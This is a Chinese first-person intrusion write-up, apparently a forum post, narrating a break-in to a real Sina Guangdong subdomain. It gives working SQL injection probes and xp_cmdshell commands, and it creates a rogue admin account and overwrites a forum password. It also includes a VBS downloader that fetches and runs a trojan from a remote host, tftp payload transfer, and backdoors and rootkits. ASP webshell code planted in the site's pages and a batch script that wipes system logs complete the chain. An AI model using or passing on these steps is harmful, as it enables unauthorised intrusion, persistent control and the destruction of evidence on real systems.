|
前段时间听说sohu的一个分站被人黑了我还看了,是真的。所以我也对这种门户网站动动手,我上了www.sina.com.cn, 又跑到了它的广东分站。东西太多了,找个注入点也很难,大多是html,shtml的页面。于是我查看源文件,搜索asp. 总算找到了一个可以asp的页面,找到了一个注入点http://gzguide.gd.sina.com.cn/news/newdetail.asp?id=2807 提交单引号, Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。 /news/newdetail.asp,行 5 提交 and 1=1 返回正常,提交and 1=2 出错。呵呵,典型的注入漏洞。 and 1=(select%20@@VERSION) 返回结果表明是sql2000的,windows2000的服务器 and 'SA'=(SELECT%20System_user),返回错误,看来不是sa帐号连接 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell') 返回正常,表明xp_cmdshell存在 手工注入太麻烦,用nbsi吧,想到nbsi老发生意外出错,用教主的HDSI吧,它还支持php注入呢!结果出来了,显示连接帐号为dbo,SA权限,这下好了。因为权限比较高,所以用HDSI能够直接执行系统命令,省得在浏览器里面用xp_cmdshell执行。 如图01执行ipcongfig -all命令,看了一下ip,确定sql数据库和网站是在同一台机子上。用net start命令看了一下, 有诺顿,serv-u,sql,终端服务也开了。先加个帐户。 net user zuoai /add, net localgroup administrator zuoai /add 再执行net start telnet. 先连它的终端试试,这个我只抱着40%的希望。可喜的是能连上去,可是当我输入 帐号和密码后出现如下提示框。 图1 guest$虽然是管理员权限,却没有远程登陆的权限。 再试试telnet,这个我只抱着20%的希望,果然,出现“正在连接到211.155.23.118...无法打开到主机的连接 在端口 23 : 连接失败”,这种错误很常见,可能是由于telnet服务没有成功开启或者_blank">防火墙屏 蔽了对23端口的访问,这里应该属于前面一种情况!那就试试ipc连接吧, ,发生错误53,这种错误一般是自己的lanmanworkstation服务未启动或者目标删除了ipc$,这里应该属于前面一种情况。 现在我关键是把木马传上去,怎么办呢?得到webshell,再上传图片,得到webshell。 用HDSI把所有的表都猜出来了,实在太多了,根本找不到管理员密码在哪个表里面。于是跨库查询,看到了一个bbs库,一个leadbbs2的库。 我立刻访问http://gzguide.gd.sina.com.cn/bbs,果然是个论坛,估计是他们自己开发的(后来才知道是leadbbs). 我接着猜解bbs这个库,希望把管理员密码帐号都跑出来。希望不是md5加密的,如果用md5加密了的话就只好用updata把密码改为自己的了. 再用HDSI猜后台地址,很快猜出来了,http://gzguide.gd.sina.com.cn/bbs/manage/default.asp 可是着个库里面还是没有重要东西。这个bbs应该对那个leadbbs2库,密码跑出来了,是md5加密的。 如图02 ;update leadbbs2.dbo.leadbbs_User set pass='4621d373cade4e83' where username='admin';--,4621d373cade4e83是md5加密后的test.应试试帐号:admin,密码:test登陆却出现提示"此用户已经开启IP绑定访问,您无权使用此用户!".一阵狂晕,管理员登陆限制了ip!看来用这种办法得到webshell是不行了。 其实现在可以先找到web的绝对路径后在HDSI中用echo写个小马上去,可是用echo的时候有写字符要用"^"来转义,比如写个冰狐浪子服务端要这样写
echo ^<SCRIPT RUNAT=SERVER LANGUAGE=javascript^>try{eval^(Request.form^('guest'^)+''^)}catch^(e^){}^</SCRIPT^> >c:\test.asp
但是在nbsi这样的工具的命令行中来执行很容易出错,在浏览器用;exec master.dbo.xp_cmdshell 'command'执行的时候转义更麻烦。 于是又想到一种办法,就是写个下载指定地址的木马的脚本如下: echo iLocal = LCase^(WScript.Arguments^(1^)^) >c:\vbs.vbs echo iRemote = LCase^(WScript.Arguments^(0^)^) >>c:\vbs.vbs echo Set xPost = CreateObject^("Microsoft.XMLHTTP"^) >>c:\vbs.vbs echo xPost.Open "GET",iRemote,0 >>c:\vbs.vbs echo xPost.Send^(^) >>c:\vbs.vbs echo Set sGet = CreateObject^("ADODB.Stream"^) >>c:\vbs.vbs echo sGet.Mode = 3 >>c:\vbs.vbs echo sGet.Type = 1 >>c:\vbs.vbs echo sGet.Open^(^) >>c:\vbs.vbs echo sGet.Write^(xPost.responseBody^) >>c:\vbs.vbs echo sGet.SaveToFile iLocal,2 >>c:\vbs.vbs 这样就写到c盘根目录的vbs.vbs文件中去了,接着用这句话执行: c:\vbs.vbs http://xxx.com/muma.exe c:\hehe.exe 这个方法可是很有效的哦,不过nbsi直接在nbsi或者其它注入工具命令行执行的时候会发生异常,自己在本机测试的时候一切正常,可是在nbsi中执行的时候二句以后的每句话都会被写入两次,极为郁闷,估计是nbsi运行原理不一样吧,谁知道这个问题怎么解决希望不吝赐教哦!如果在浏览器里面用xp_cmdshell执行,不过还要考虑“%,&"等字符,这些字符在asp里面会用到,所以要使用编码。 正郁闷着,忽然想到还有最简单直接的tftp还没用呢,在HDSI的命令行里执行tftp -i myip get 3721.exe c:\3721.exe,谢天谢地,我这边的tftp有反映了。 如图2
其实很多时候,即使我们得到了webdhell,用serv_u本地溢出或者sql什么的提升权限加了系统帐号,运行了木马。由于别人的服务器搞了ip安全策略,端口映射,边界路由阻隔,_blank">防火墙拦截等等,还是会有无法控制服务器的时候。呵呵,我就曾经入侵了几个大型网站,配置很bt,一直搞到现在还没搞定它的服务器! 好了,终于传完了,在HDSI的命令行里面执行c:\3721.exe,3721.exe是我自己配置好了的超级radmin服务端,注册为系统服务,端口为2046。再次感谢上帝,顺利的连上去了。马上屏幕监控看一下,好像锁定了,再用radmin直接控制,果然计算机处于锁定状态。 如图3
要求按ctrl+alt+del键再登陆,可是如果我按ctrl+alt+del,只会在自己机子上运行任务管理器,不能直接控制了。现在就得留后门了,万一管理员什么时候登陆服务器,命令行下netstat -an如果发现2046端口连到我机子上也许会发现这个后门。所以赶紧装几个隐蔽点的后门,先hacker's door,再hacker defender,直接用radmin的文件管理传上去,再用radmin的远程telnet执行,最后把我的pcshare也搞上去,我比较喜欢pcshare,因为它使用的是80端口,容易突破_blank">防火墙。 用radmin在它的盘里搜索,找到了网站的根目录,在D:\GZINFO下面。 如图4
还有其它的一些网页目录,也不知道是什么网站里面的,突然看到了有一个"服务器监视器"的软件,呵呵,下了readme文件,一看,"......五、网页监控 监视列表中选中的的网页是否能够打开。如果打不开除在本机上提醒外还可以发送手机短信提醒,并重启IIS服务。注意:修改设置时先关闭监控。 六、文件监控 监视本机上的文件,在文件发生改变时通知管理员,如果设置了备份文件,软件会自动使用备份文件覆盖被监视文件."好厉害的东东哦!开机自动运行,而且自动锁定计算机。
接着把自己修改后的海洋顶端木马传上去。成功地得到了webshell。 如图5
再把下面这个下马插到它地几个asp文件里面,只有访问这几个页面是在后面加上?me=Guest$时, 小马才会显现出来!比较可靠。 <% if request("me")="Guest" then %> <% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("syfdpath"))<>"" then %> <% fdata = request("cyfddata") %> <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %> <% objCountFile.Write fdata %> <% if err =0 then %> <% response.write "<font color=red>save Success!</font>" %> <% else %> <% response.write "<font color=red>Save UnSuccess!</font>" %> <% end if %> <% err.clear %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %> <% Response.write "<form action='' method=post>" %> <% Response.write "保存<font color=red>路径(如D:\web\x.asp):</font>" %> <% Response.Write "<input type=text name=syfdpath width=32 size=50>" %> <% Response.Write "<br>" %> <% Response.write "本文件" %> <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> <% Response.write "<br>" %> <% Response.write "内容:" %> <% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %> <% Response.write "<input type=submit value=保存>" %> <% Response.write "</form>" %> <% end if %> 现在已经基本控制了服务器了,最后把所有地日志都删除了,一个批处理。 @del c:\winnt\system32\logfiles\*.* @del c:\winnt\system32\config\*.evt @del c:\winnt\system32\dtclog\*.* @del c:\winnt\system32\*.log @del c:\winnt\system32\*.txt @del c:\winnt\*.txt @del c:\winnt\*.log @del c:\del.bat。 现在就等着管理员登陆后findpass得到密码进3389了,再渗透它的内网。因为我还没找到一个好地嗅探软件,所以就没有装这个。 到这里本文要结束了,其实也没有什么高深的技术,高手见笑了。其实入侵的时候会碰到各种各样的问题,能否解决这这些问题。是高手和菜鸟的本质区别!希望喜欢交流技术的朋友和我联系,我的qq是:394786341。 |
|